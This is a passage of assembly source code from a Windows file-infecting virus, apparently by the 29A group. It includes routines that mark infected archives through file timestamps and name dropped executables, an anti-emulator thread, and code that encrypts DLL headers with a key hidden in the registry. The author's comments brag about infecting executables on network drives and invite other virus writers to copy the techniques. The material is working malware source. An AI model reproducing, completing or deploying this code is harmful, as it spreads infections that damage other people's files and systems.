__iCAB_finish:
ret
;ÄÄÄ´ common archivez operations ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;Check whether archive has been infected. This function
;reads its time and calculate whether isn't divided by
;magic number (for this virus it is 117).
;
; input:
; EBX ... file handle
; output:
; CFlags
;
__get_archive_infected:
; get archive file time
lea eax,[ebp+FileTime]
push eax ;LastWriteTime
push 00000000h ;LastAccessTime
push 00000000h ;CreationTime
push ebx ;file handle
call [ebp+ddGetFileTime]
or eax,eax
jz __gai_failed
; convert "FileTime" to "SystemTime"
lea eax,[ebp+SystemTime] ;SystemTime structure
push eax
lea eax,[ebp+FileTime] ;FileTime structure
push eax
call [ebp+ddFileTimeToSystemTime]
; hours, minutes, seconds, milliseconds add up
lea esi,word ptr [ebp+SystemTime]
mov ecx,(size SystemTime - 2) / 2
xor ebx,ebx
__gai_calculate:
lodsw
add ebx,eax
dec ecx
jnz __gai_calculate
sub ebx,1990
sub bx,word ptr [ebp+SystemTime.wDayOfWeek]
xchg eax,ebx
call __check_infected
jnc __gai_failed
test al,0F9h ;hidden STC instruction
__gai_failed equ $-1
ret
;---------------------------------------------------------
;This function set 117 value among Year, Month, Day, Hour,
;Minute and Second value by FileTime. At first I will put
;random values there and then I will modify it once again.
;
; input:
; EBX ... file handle
;
; TimeBuffer:
; 1st value = offset in SystemTime struct
; 2nd value = max of generate number
; 3rd value = increase generate number
__sai_TimeBuffer db 0,10,0, 2,12,1, 6,30,1, 8,24,0
db 10,60,0, 12,60,0
__sai_counter dd 00000000h
;
__set_archive_infected:
push ebx
; divide that number to Year, Month, Day, Hour, Minute...
__sai_restart:
lea edi,[ebp+__sai_TimeBuffer]
lea edx,[ebp+SystemTime]
mov esi,117
xor ecx,ecx
__sai_again:
movzx ebx,byte ptr [edi+ecx] ;offset in SystemTime struct
movzx eax,byte ptr [edi+ecx+1];generate number
call ppe_get_rnd_range
cmp byte ptr [edi+ecx+2],1
jnz __sai_loop
inc eax
__sai_loop:
mov [edx+ebx],ax
sub esi,eax
add ecx,3
cmp ecx,3*6
jnz __sai_again
; only even seconds
test [ebp+SystemTime].wSecond,1
jnz __sai_restart
test esi,80000000h
jnz __sai_restart
or esi,esi
jz __sai_continue
; increase/decrease some value from SystemTime
__sai_next_loop:
lea edi,[ebp+__sai_TimeBuffer]
lea edx,[ebp+SystemTime]
__sai_new_value:
mov [ebp+__sai_counter],2 ;disable Year
__sai_next_value:
xor ecx,ecx ;start of scaning
__sai_next_round:
add ecx,3 ;disable Year or
movzx eax,byte ptr [edi+ecx] ;next value
movzx ebx,byte ptr [edi+ecx+1]
cmp eax,[ebp+__sai_counter] ;the right value
jnz __sai_next_round
dec bx ;'ceuse of gen. n.
cmp [edx+eax],bx
jz __sai_fulled
inc word ptr [edx+eax] ;increase value
dec esi ;decrease counter
__sai_fulled:
or esi,esi ;finish ?
jz __sai_continue
__sai_disable_value:
add [ebp+__sai_counter],00000002h ;next value in ST
cmp [ebp+__sai_counter],00000004h ;"Day Of Week" value?
jz __sai_disable_value ;if yes, disable it
cmp [ebp+__sai_counter],0000000Ch ;"Second" value ?
jz __sai_disable_value ;if yes, disable it
cmp [ebp+__sai_counter],7*2 ;end of table ?
jnz __sai_next_value
jmp __sai_new_value
__sai_continue:
xor eax,eax
mov [ebp+SystemTime].wMilliseconds,ax
add [ebp+SystemTime].wYear,1990
; convert "SystemTime" to "FileTime"
lea eax,[ebp+FileTime] ;FileTime structure
push eax
lea eax,[ebp+SystemTime] ;SystemTime structure
push eax
call [ebp+ddSystemTimeToFileTime]
; set FileTime
pop ebx ;file handle
lea eax,[ebp+FileTime]
push eax ;LastWriteTime
push 00000000h ;LastAccessTime
push 00000000h ;CreationTime
push ebx ;file handle
call [ebp+ddSetFileTime]
or eax,eax
jz __sai_failed
__sai_failed:
ret
;---------------------------------------------------------
;This function generates FileName to archive.
;
; input:
; EDI ... where put new name (maximum=8+1+3)
; output:
; EAX ... filename length
;
generate_name:
pusha
cld
lea esi,[ebp+gen_archive_filename]
mov eax,gen_archive_number
call ppe_get_rnd_range
mov ecx,eax
name_search:
jecxz name_found
movzx eax,byte ptr [esi+1]
add eax,00000002h
add esi,eax
dec ecx
jmp name_search
name_found:
mov ebx,edi
mov al,byte ptr [esi]
call gen_spec_char
no_gen_1:
movzx ecx,byte ptr [esi+1]
add esi,00000002h
rep movsb
call gen_spec_char
mov eax,'exe.'
mov [edi],eax
add edi,4
mov edx,edi
sub edx,ebx
mov ecx,8+1+3
sub ecx,edx
xor al,al
rep stosb
movzx edx,dl
mov [esp].access_eax,edx
popa
ret
gen_spec_char:
or al,al
jz char_exit
mov eax,00000002h
call ppe_get_rnd_range
or al,al
jz char_exit
mov byte ptr [edi],'!'
inc edi
char_exit:
ret
;---------------------------------------------------------
;This function copy source place to destination. So that
;it is MOVSD instruction with STD flag.
;
; input:
; ESI ... source place in memory
; EDI ... destination place in memory
; ECX ... number bytes to move
;
;Note: ESI, EDI ain't real addresses- to understand see on
; the first four instructions.
;
__movsd_back:
add esi,ecx ;This code has been stolen
dec esi ;from CiA 1.50 sources.
add edi,ecx
dec edi ;(c)oded by Dement
std ;dement@email.cz
shr ecx,01h
jnc __mb_nomovsb
movsb
__mb_nomovsb:
jz __mb_finish
dec esi
dec edi
shr ecx,01h
jnc __mb_nomovsw
movsw
jz __mb_finish
__mb_nomovsw:
sub esi,00000002h
sub edi,00000002h
rep movsd ;copy me - I wanna travel
__mb_finish:
cld
ret
;ÄÄÄ´ function to actualize compressed programs ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function was called itself from Hyper Infection and
;it means the extension has been found.
;
; input: EDX ... file name
; EAX ... input parameter (pointer into table)
; EBX ... next filename in HyperTable
archive_act:
; for more information about EAX (tables), find "AProgram"
; structure
; save registers & load EAX parameter
pusha
mov esi,eax
add esi,ebp
; calculate filename length and allocate memory
call __get_last_char
sub edi,edx
push edi ;filename length
add edi,filename_size
mov eax,edi
call malloc
mov [esi.program],eax ;save destination place
; copy filename there
mov esi,edx
mov edi,eax
pop ecx ;filename length
rep movsb
; disable this archive program
mov byte ptr [ebx-HyperTable_HalfSize],01h
; restore registers
popa
ret
;ÄÄÄ´ threads ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;------------------------------------------------------------------------
; Anti-emulators:
;
; Welcome everybody who wanna use this method in your viruses. At first
; I hope you know whats "thread" and "fiber" (see Benny's tutorial). So
; you active "__thread_1" which it'll patch your original code on NOPs,
; and after that, who will write that original code there ?
;
; __thread_1_begin:
; jmp $ ;instead this will be NOPs
;
; And by "@ANTI_E_START" macro you will PUSH that original values and
; then by "@ANTI_E_FINISH" you will restore those values. Try to debug
; this source and you'll understand it or send me mail.
;
;--------------------------------------------------------
;This thread rewrite some bytes. Common anti-emulator.
;
; (__MyCreateThread)
; input:
; EAX ... address of this function (__thread_1)
; EBX ... information
; * upper imm8 reg ... bytes to patch
; * where from here (offset)
;
__thread_1:
push eax ecx ebp
call get_base_ebp
mov eax,[esp+00000010h] ;get thread parameter
mov ecx,eax
shr ecx,18h ;get last imm8 reg
and eax,00FFFFFFh
add eax,ebp
__thread_1_loop:
mov byte ptr [eax],90h ;patch it
inc eax ;next byte to patch :)
loop __thread_1_loop
pop ebp ecx eax
ret
;ÄÄÄ´ function to Win32 Cryptography APIs startup ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;At last, at last I start to code this function, at last !
;So, at first I must check if "Prizzy/29A" key exists. If
;not, I must create it. Also I'll check whether Crypto API
;functions exists in "ADVAPI32.DLL" file because they are
;from "Windows 95, OEM Service Release 2" and WinNT, sure!
;I cant also decrypt DLL files on network's disks because
;I must store CSP cryptography key in register class and
;on those disks I couldn't load that CSP public/simple key
;from that register. But it does not matter because I can
;infect EXE files on network's disks. Hehehe - Im perfect!
;
crypto_startup:
mov [ebp+crypto_Action ],00000000h
mov [ebp+crypto_loadKey ],00000000h
mov [ebp+crypto_Provider],00000000h
; check if cryptography functions has been found...
cmp [ebp+ddCryptAcquireContextA],00000000h
jz __cs_fault
; get if crypto key exists in registers...
push 00000000h ;Flags
push 00000001h ;PROV_RSA_FULL
push 00000000h ;provider name
lea eax,[ebp+crypto_KeyName]
push eax ;my special key
lea eax,[ebp+crypto_Provider]
push eax ;CSP provider
call [ebp+ddCryptAcquireContextA]
or eax,eax ;does key exist ?
jnz __cs_continue
; create new key
push 00000008h ;CRYPT_NEWKEYSET
push 00000001h ;PROV_RSA_FULL
push 00000000h ;provider name
lea eax,[ebp+crypto_KeyName]
push eax ;my special key
lea eax,[ebp+crypto_Provider]
push eax ;CSP provider
call [ebp+ddCryptAcquireContextA]
or eax,eax
jz __cs_fault
; register folder "Prizzy/29A" has been created or opened
; now, check whether I have to generate CPS key
__cs_continue:
call __cs_created_key
jc __cs_fault
; generate CSP key for my... for my... for my purpose {:-)
lea eax,[ebp+crypto_Key]
push eax ;key's value
push 00000001h ;CRYPT_EXPORTABLE
push 00000001h ;AT_KEYEXCHANGE
push [ebp+crypto_Provider]
call [ebp+ddCryptGenKey] ;generate key
or eax,eax
jz __cs_fault
; get handle to the key exchange
lea eax,[ebp+crypto_XchgKey]
push eax
push 00000001h ;AT_KEYEXCHANGE
push [ebp+crypto_Provider]
call [ebp+ddCryptGetUserKey]
; get a random block cipher session key
lea eax,[ebp+crypto_Key]
push eax
push 00000001h ;CRYPT_EXPORTABLE
push 00006602h ;CALG_RC2
push [ebp+crypto_Provider]
call [ebp+ddCryptGenKey]
; determine size of key blob and allocate memory
lea eax,[ebp+crypto_BlobLen]
push eax
push 00000000h
push 00000000h
push 00000001h ;SIMPLEBLOB
push [ebp+crypto_XchgKey]
push [ebp+crypto_Key]
call [ebp+ddCryptExportKey] ;get simple blob key length
; allocate memory for SIMPLE key (maximum 256 bytes)
mov eax,[ebp+crypto_BlobLen]
call malloc
mov [ebp+crypto_BlobKey],eax
; export key into a simple key blob
lea eax,[ebp+crypto_BlobLen]
push eax ;length of simple key
push [ebp+crypto_BlobKey] ;simple blob key buffer
push 00000000h
push 00000001h ;SIMPLEBLOB
push [ebp+crypto_XchgKey]
push [ebp+crypto_Key]
call [ebp+ddCryptExportKey] ;generate simple key
; get other registery information
lea eax,[ebp+crypto_BlobHan]
mov ecx,80000001h ;HKEY_CURRENT_USER
lea esi,[ebp+crypto_Register]
call __regOpen
jc __cs_dealloc
; create binary sub-key "Kiss Of Death" it'll be "SimpleKey"
push [ebp+crypto_BlobLen] ;size of value
push [ebp+crypto_BlobKey] ;address of data buffer
push 00000003h ;REG_BINARY flag
push 00000000h ;reserved
lea eax,[ebp+crypto_RegFlag]
push eax ;name of value
push [ebp+crypto_BlobHan]
call [ebp+ddRegSetValueExA] ;update it :)
or eax,eax
jnz __cs_dealloc_2
__cs_close_reg:
; close register
push [ebp+crypto_BlobHan] ;my register handle
call [ebp+ddRegCloseKey]
__cs_close_key:
; close cryptography key
push [ebp+crypto_Key] ;my generated key
call [ebp+ddCryptDestroyKey]
__cs_finish:
mov eax,[ebp+crypto_Provider]
or eax,eax
jz __cs_end
push 00000000h
push eax
call [ebp+ddCryptReleaseContext]
__cs_end:
ret
__cs_fault:
mov [ebp+crypto_Action],00000001h
jmp __cs_finish
__cs_dealloc:
mov eax,[ebp+crypto_BlobKey]
call mdealloc
mov [ebp+crypto_Action],00000001h
jmp __cs_close_key
__cs_dealloc_2:
mov eax,[ebp+crypto_BlobKey]
call mdealloc
mov [ebp+crypto_Action],00000001h
jmp __cs_close_reg
;---------------------------------------------------------
;This function checks whether "Kiss Of Death" exists in
;"Prizzy/29A" cryptography register-class. All is because
;of CSP generating public key.
;
__csck_regHan dd 00000000h ;register handle
__csck_regFlag dd 00000000h ;register type flag
;
__cs_created_key:
; open register folder "Prizzy/29A"
lea eax,[ebp+__csck_regHan]
mov ecx,80000001h ;HKEY_CURRENT_USER
lea esi,[ebp+crypto_Register]
call __regOpen
jc __csck_fault
; open binary sub-key "Kiss Of Death"
push 00000000h ;address of data buffer size
push 00000000h ;address of data buffer
mov eax,00000003h
lea ebx,[ebp+__csck_regFlag]
mov [ebx],eax
push ebx ;REG_BINARY flag
push 00000000h ;reserved
lea eax,[ebp+crypto_RegFlag]
push eax ;name of value
push [ebp+__csck_regHan]
call [ebp+ddRegQueryValueExA]
or eax,eax
pushf
push [ebp+__csck_regHan] ;close register folder
call [ebp+ddRegCloseKey]
popf
jz __csck_fault
test al,0F9h ;hidden STC instruction
__csck_fault equ $-1
ret
;ÄÄÄ´ function to crypt DLL file ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function encrypts DLL file by Win32 Crypto functions
;I will encode only two kilobytes.
;
;Behaviour:
; * load SIMPLE key from reg
; * read 2008 bytes from DLL to memory
; * encrypt 1992 bytes
; * save last eight bytes because when i'll encode next
; eight bytes, WinAPI rewrite 16 bytes, not 8.
; * encrypt 8 bytes (in fact, it will be 16 bytes)
; * calculate CRC64 for that 8 bytes
; * save CRC64 and that 8 bytes to the end of file
;
;
; input: search_filename ... DLL file name
;
__cf_handle dd 00000000h ;library's handle
__cf_FSize dd 00000000h ;library's file size
__cf_Memory dd 00000000h ;library's 2Kb body
__cf_header dw 0000h ;library's signature
__cf_EncodeSize dd 00000000h ;real encoded size
__cf_QwordCRC64 dq 00h ;Qword CRC64
__cf_QWORD dq 00h ;bad WinAPI function
;
crypt_file:
; don't call this function once again in actual time
mov dword ptr [ebp+crypto_thread],00000000h
; check unCrypted DLLs
mov ebx,[ebp+filename_ptr]
call crypt_DLL_check
jc __cf_finish
; check file, I don't wanna risk :) ["E:\XXXX\" directory]
IFDEF DEBUG
cmp dword ptr [ebp+filename],'X\:E'
jnz __cf_finish
cmp dword ptr [ebp+filename+4],'\XXX'
jnz __cf_finish
ENDIF
; open DLL file
mov edx,[ebp+filename_ptr]
call __MyOpenFile
jc __cf_finish
mov [ebp+__cf_handle],eax
; read its signature
lea edx,[ebp+__cf_header] ;destination place
mov ecx,00000002h ;bytes to read
xor esi,esi ;file position
mov ebx,[ebp+__cf_handle]
call __MyReadFile
jc __cf_fClose
; check its signature
cmp word ptr [ebp+__cf_header],'ZM'
jnz __cf_fClose
; get its file size
mov ebx,[ebp+__cf_handle]
call __MyGetFileSize
mov [ebp+__cf_FSize],eax
cmp eax,5000 ;lesser then 5Kb ?
jb __cf_fClose
; allocate memory for 2 kilobytes
mov eax,2008
call malloc
mov [ebp+__cf_Memory],eax
; read two kilobytes
mov edx,[ebp+__cf_Memory] ;destination place
mov ecx,2008 ;number of bytes to read
xor esi,esi ;file position
mov ebx,[ebp+__cf_handle] ;file handle
call __MyReadFile
jc __cf_dealloc
; get PE/NE signature
mov eax,[ebp+__cf_Memory]
add eax,[eax.MZ_lfanew]
cmp word ptr [eax],'EP' ;no PE sign ?
jnz __cf_dealloc
; encrypt 1992 bytes (next 8 bytes will be with last flag)
mov [ebp+__cf_EncodeSize],1992
push 2000 ;total bytes to encrypt
lea eax,[ebp+__cf_EncodeSize]
push eax ;real encoded size
push [ebp+__cf_Memory] ;mem address
push 00000000h ;flags
push 00000000h ;last block ?
push 00000000h ;hash
push [ebp+__clk_hKey] ;imported key
call [ebp+ddCryptEncrypt]
or eax,eax
jz __cf_dealloc
; save next two dwords to copro reg
mov eax,[ebp+__cf_Memory]
fsave [ebp+copro_nl_buffer] ;save all regz & flagz
fild qword ptr [eax+000007D0h]
fistp qword ptr [ebp+__cf_QWORD]
frstor [ebp+copro_nl_buffer] ;restore all regz & flagz
; encode next 8 bytes
mov [ebp+__cf_EncodeSize],8
push 2000 ;total bytes to encrypt
lea eax,[ebp+__cf_EncodeSize]
push eax ;real encoded size
mov eax,[ebp+__cf_Memory]
add eax,1992
push eax ;mem address
push 00000000h ;flags
push 00000001h ;last block ?
push 00000000h ;hash ?
push [ebp+__clk_hKey] ;imported key
call [ebp+ddCryptEncrypt]
or eax,eax
jz __cf_dealloc
; save encypted data, what a dream {:-)
mov edx,[ebp+__cf_Memory]
mov ecx,2008 ;number of bytes to write
xor esi,esi
mov ebx,[ebp+__cf_handle]
call __MyWriteFile
jc __cf_dealloc
; get one DWORD from key and lose that value :)
lea eax,[ebp+__cf_QWORD]
mov ecx,00000008h ;QWORDs length
push eax ;buffer position
mov esi,eax ;start of CRC64 calculating
call __bruteCRC64 ;wow! get CRC64 for BlobKey
mov dword ptr [ebp+__cf_QwordCRC64],eax
mov dword ptr [ebp+__cf_QwordCRC64+00000004h],edx
pop esi
xor ebx,ebx
mov [esi],ebx ;clear that value :)
; write replaced QWORD on the end of file
lea edx,[ebp+__cf_QwordCRC64]
mov ecx,00000010h
mov esi,[ebp+__cf_FSize]
mov ebx,[ebp+__cf_handle]
call __MyWriteFile
jc __cf_dealloc
__cf_dealloc:
mov eax,[ebp+__cf_Memory]
call mdealloc
__cf_fClose:
mov ebx,[ebp+__cf_handle]
call __MyCloseFile
__cf_finish:
jmp __ct_finish ;go back to thread
;ÄÄÄ´ function to decrypt DLL file ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function decrypts DLL file by WinAPI cryptography f.
;
;Behaviour:
; * load SIMPLE key from registers "Kiss Of Death" key :)
; * open DLL and read 2008 bytes, check 'MZ' if it's encr.
; * read 16 bytes, calculate right value by CRC64
; * decrypt the first part
; * decrypt the second part of DLL file body
; * replace de-CRC64 bytes (eight bytes)
; * truncate files - 16 bytes
;
;
; input: filename_ptr ... DLL file name
;
__df_handle dd 00000000h ;library's handle
__df_header dw 0000h ;library's signature
__df_FSize dd 00000000h ;library's file size
__df_memory dd 00000000h ;library's memory
__df_decSize dd 00000000h ;decode size
;
__df_CRC64 dq 00h ;CRC64 of lost qword
__df_QWORD dq 00h ;WinAPI lost qword
;
decrypt_file:
; don't call this function once again in actual time
mov dword ptr [ebp+crypto_thread],00000000h
; check unCrypted DLLs
mov ebx,[ebp+filename_ptr]
call crypt_DLL_check
jc __df_finish
; check file, I don't wanna risk :) ["E:\XXXX\" directory]
IFDEF DEBUG
mov edx,[ebp+filename_ptr]
cmp dword ptr [edx],'X\:E'
jnz __df_finish
cmp dword ptr [edx+00000004h],'\XXX'
jnz __df_finish
ENDIF
; open DLL file
mov edx,[ebp+filename_ptr]
call __MyOpenFile
jc __df_finish
mov [ebp+__df_handle],eax
; read two bytes and check whether library is crypted
lea edx,[ebp+__df_header]
mov ecx,00000002h ;two bytes to read
xor esi,esi ;file position
mov ebx,[ebp+__df_handle]
call __MyReadFile
jc __df_finish
cmp [ebp+__df_header],'ZM' ;check library signature
jz __df_fClose
; get library file size
mov ebx,[ebp+__df_handle]
call __MyGetFileSize
mov [ebp+__df_FSize],eax
cmp eax,5000 ;lesser then 5Kb ?
jb __df_fClose
; load CRC64 and WinAPI lost qword
lea edx,[ebp+__df_CRC64]
mov ecx,00000010h
mov esi,[ebp+__df_FSize] ;filesize
sub esi,ecx ; - 10h (2*qword)
mov ebx,[ebp+__df_handle]
call __MyReadFile
jc __df_fClose
; get real value from CRC64, by "brute-CRC64", i'm perfect !!
lea esi,[ebp+__df_QWORD] ;input buffer
mov ecx,00000008h ;lenght of buffer
mov eax,dword ptr [ebp+__df_CRC64]
mov edx,dword ptr [ebp+__df_CRC64+00000004h]
call __get_bruteCRC64
; allocate memory for 2Kb
mov eax,2008
call malloc
mov [ebp+__df_memory],eax
; read crypted bytes :)
mov edx,[ebp+__df_memory] ;destination buffer
mov ecx,2008 ;only 2Kb
xor esi,esi
mov ebx,[ebp+__df_handle]
call __MyReadFile
jc __df_dealloc
; decrypt the first part of DLL's body
lea eax,[ebp+__df_decSize]
mov dword ptr [eax],1992 ;number of bytes to decrypt
push eax
push [ebp+__df_memory] ;address of buffer
push 00000000h ;flags
push 00000000h ;it isn't last block
push 00000000h ;hash
push [ebp+__clk_hKey] ;imported key
call [ebp+ddCryptDecrypt]
or eax,eax
jz __df_dealloc
; decrypt the second part of DLL's body
lea eax,[ebp+__df_decSize]
mov dword ptr [eax],8*2 ;number of bytes to decrypt
push eax
mov eax,[ebp+__df_memory]
add eax,1992
push eax ;address of buffer
push 00000000h ;flags
push 00000001h ;is is last block
push 00000000h ;hash
push [ebp+__clk_hKey] ;imported key
call [ebp+ddCryptDecrypt]
or eax,eax
jz __df_dealloc
; restore re-written bytes by WinAPI :(
mov eax,[ebp+__df_memory]
fsave [ebp+copro_nl_buffer] ;save all regz & flagz
fild qword ptr [ebp+__df_QWORD]
fistp qword ptr [eax+2000]
frstor [ebp+copro_nl_buffer] ;restore all regz & flagz
; write the first 2008 bytes to DLL :)
mov edx,[ebp+__df_memory]
mov ecx,2008
xor esi,esi
mov ebx,[ebp+__df_handle]
call __MyWriteFile
jc __df_dealloc
; truncate last sixteen bytes
push 00000000h
push 00000000h
mov eax,[ebp+__df_FSize]
sub eax,00000010h
push eax ;new "End Of File"
push [ebp+__df_handle]
call [ebp+ddSetFilePointer]
cmp eax,-1
jz __df_dealloc
push [ebp+__df_handle] ;truncate last 16 bytes
call [ebp+ddSetEndOfFile]
__df_dealloc:
mov eax,[ebp+__df_memory]
call mdealloc
__df_fClose:
mov ebx,[ebp+__df_handle]
call __MyCloseFile
__df_finish:
jmp __ct_finish ;go back to thread
;ÄÄÄ´ function to get cryptography key ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function opens register to get SIMPLE key.
;
;Behaviour:
; * open register folder "\...\Cryptography\Prizzy/29A"
; * read SIMPLE key from "Kiss Of Death"
; * get CSP and import SIMPLE key by WinAPI functions
; * close register handle, return ImportedKey handle
;
;
; input: none
; output: EAX ... imported key (if error, EAX=0)
;
__clk_regHan dd 00000000h ;register handle
__clk_regFlag dd 00000000h ;register flags
__clk_memory dd 00000000h ;key's memory place
__clk_sim_len dd 00000000h ;simple key length
__clk_provider dd 00000000h ;CSP provider
__clk_hKey dd 00000000h ;imported key
;
crypt_loadKey:
; don't call this function once again in actual time
mov dword ptr [ebp+crypto_thread],00000000h
; get delta offset
call get_base_ebp
; has key been loaded ?
cmp dword ptr [ebp+crypto_loadKey],00000000h
jnz __clk_finish
xor eax,eax
mov [ebp+__clk_hKey],eax
; open register folder
lea eax,[ebp+__clk_regHan]
mov ecx,80000001h ;HKEY_CURRENT_USER
lea esi,[ebp+crypto_Register]
call __regOpen
jc __clk_finish
; allocate memory for SIMPLE key
mov eax,00000100h
call malloc
mov [ebp+__clk_memory],eax
; load "Kiss Of Death" item, it is SIMPLE key...
lea eax,[ebp+__clk_sim_len]
mov dword ptr [eax],00000100h
push eax ;address of data buffer size
push [ebp+__clk_memory] ;address of data buffer
mov eax,00000003h
lea ebx,[ebp+__clk_regFlag]
mov [ebx],eax
push ebx ;REG_BINARY flag
push 00000000h ;reserved
lea eax,[ebp+crypto_RegFlag]
push eax ;name of value
push [ebp+__clk_regHan]
call [ebp+ddRegQueryValueExA]
or eax,eax
jnz __clk_close_key
; get CPS provider handle
push 00000000h ;Flags
push 00000001h ;PROV_RSA_FULL
push 00000000h ;provider name
lea eax,[ebp+crypto_KeyName]
push eax ;my special key
lea eax,[ebp+__clk_provider]
push eax ;CSP provider
call [ebp+ddCryptAcquireContextA]
or eax,eax ;does key exist ?
jz __clk_close_key
; import SIMPLE key
lea eax,[ebp+__clk_hKey]
push eax ;imported key
push 00000000h ;flags
push 00000000h
push [ebp+__clk_sim_len] ;length of SIMPLE key
push [ebp+__clk_memory] ;SIMPLE key
push [ebp+__clk_provider]
call [ebp+ddCryptImportKey]
__clk_close_key:
push [ebp+__clk_regHan]
call [ebp+ddRegCloseKey]
__clk_dealloc:
mov eax,[ebp+__clk_memory]
call mdealloc
mov [ebp+crypto_loadKey],'!A92'
__clk_finish:
mov eax,[ebp+__clk_hKey] ;imported key (0=error)
jmp __ct_finish ;back to thread
;ÄÄÄ´ do NOT crypted DLL checking - name check and registry ÃÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function checks whether DLL come under to the avoid
;table. Heh, what does it mean ? Why some DLLs can NOT be
;crypted ? Well, I hook all file operations from kernel32
;memory when I'll be actived but till then system 'll open
;some libraries like KERNEL32.DLL, USER32.DLL ... and then
;it is my turn to hook, to check. This is that problem.
;
__cdc_regHandle dd 00000000h ;register handle
__cdc_valuesLen dd 00000000h ;MaxValueLen
__cdc_values dd 00000000h ;number of values
__cdc_buffSize dd 00000000h ;buffer size
__cdc_nRegistry dd 00000000h ;number of r. classes
__cdc_memory dd 00000000h ;namez
;
; input: EBX ... filename
;
crypt_DLL_check:
; save all registers
pusha
; check from our table
lea esi,[ebp+crypto_unFiles]
call validate_name ;is it do NOT crypt file ?
jc __cdc_failed
mov [ebp+__cdc_nRegistry], \
(crypto_unReg_E - crypto_unReg) / 4 - 1
; open registry key
__cdc_next_class:
lea eax,[ebp+__cdc_regHandle]
mov ecx,80000002h ;HKEY_LOCAL_MACHINE
mov esi,[ebp+__cdc_nRegistry]
mov esi,dword ptr [ebp+crypto_unReg+esi*04h]
add esi,ebp
call __regOpen
jc __cdc_finish ;failed ?
; read number of values
xor eax,eax
push eax eax ;LWriteTime, SecDescriptor
lea edx,[ebp+__cdc_valuesLen]
push edx eax ;MaxValueLen, MaxValueNameLen
lea edx,[ebp+__cdc_values]
push edx eax eax eax eax eax eax
push [ebp+__cdc_regHandle]
call [ebp+ddRegQueryInfoKeyA]
or eax,eax ;failed ?
jnz __cdc_regClose
; allocate memory
mov eax,[ebp+__cdc_values]
imul eax,[ebp+__cdc_valuesLen]
mov [ebp+__cdc_buffSize],eax
inc eax ;double zero char
call malloc
mov [ebp+__cdc_memory],eax
; read all namez
mov esi,[ebp+__cdc_memory] ;pointer to store value name
__cdc_repeat:
mov ecx,00000005h ;five layers
dec dword ptr [ebp+__cdc_values] ;next value index
__cdc_once_again:
lea eax,[ebp+__cdc_valuesLen] ;length of value name
push eax ;buffer's size
push esi ;value name buffer
push 00000000h ;type of value entry
push 00000000h ;reserved
call $+9
dd ? ;cbValueName
push 00000000h ;value name
push [ebp+__cdc_values] ;index of value to retrieve
push [ebp+__cdc_regHandle]
call [ebp+ddRegEnumValueA] ;read index entry
cmp eax,000000EAh ;ERROR_MORE_DATA
jnz __cdc_check_next
loop __cdc_once_again ;try to read that once again
__cdc_check_next:
push [ebp+__cdc_valuesLen] ;number of characters
push esi ;filename
call [ebp+ddCharUpperBuffA] ;convert to uppercase
add esi,[ebp+__cdc_valuesLen] ;next entry in memory buf
cmp dword ptr [ebp+__cdc_values],00000000h
jnz __cdc_repeat
mov byte ptr [esi],01h ;end char status
mov esi,[ebp+__cdc_memory] ;avoid table
call validate_name ;EBX is filled
pushf ;ehm :)
; close register class
push [ebp+__cdc_regHandle]
call [ebp+ddRegCloseKey]
; deallocate memory
mov eax,[ebp+__cdc_memory]
call mdealloc
; next register key
popf ;ehm :)
jc __cdc_failed
cmp dword ptr [ebp+__cdc_nRegistry],00000000h
jz __cdc_finish
dec dword ptr [ebp+__cdc_nRegistry]
jmp __cdc_next_class
; restore all registers
__cdc_finish:
test al,0F9h ;hidden STC instruction
__cdc_failed equ $-1
popa
ret
; close register class
__cdc_regClose:
push [ebp+__cdc_regHandle]
call [ebp+ddRegCloseKey]
jmp __cdc_finish
;ÄÄÄ´ cryptography thread ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This is true Cryptography thread which can run some common
;functions, because crypto functions allocated memory ain't
;shared, so I must use this thread.
;
; input:
; crypto_thread ... CT_LOADKEY - crypt_loadKey func
; ... CT_CRYPTFILE - crypt_file function
; ... CT_DECRYPTFILE - decrypt_file function
;
; output:
; crypto_thread_err ... lastError flag
;
crypt_thread:
; save all registers & get delta offset
pusha
call get_base_ebp
; get thread action
mov eax,[ebp+crypto_thread]
cmp eax,CT_LOADKEY ;crypt_loadKey
jz crypt_loadKey
cmp eax,CT_CRYPTFILE ;crypt_file
jz crypt_file
cmp eax,CT_DECRYPTFILE ;decrypt_file
jz decrypt_file
jmp __ct_finish_all ;bad input parameter
; set (C)arry and EAX
__ct_finish:
mov [ebp+crypto_thread_err],eax
; restore all registers
__ct_finish_all:
push 2 ;wait for a while
call [ebp+ddSleep]
popa
jmp crypt_thread
;ÄÄÄ´ get FileName of library ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function is called from "FreeLibrary" function. Be-
;cause FL parameter is place in memory, I have to get its
;filename to crypt that.
;
;Behaviour:
; * get filename from handle (FreeLibrary parameter)
; * check DLL name (might I crypt u ?)
; * run FreeLibrary function (file was closed)
; * get process where I created "crypto thread"
; * crypt file (by thread: CT_CRYPTFILE flag)
; * go back (two ways: success OR failed)
;
crypt_get_library:
; save all registers
pusha
; get FileName of the module
push filename_size
lea eax,[ebp+filename]
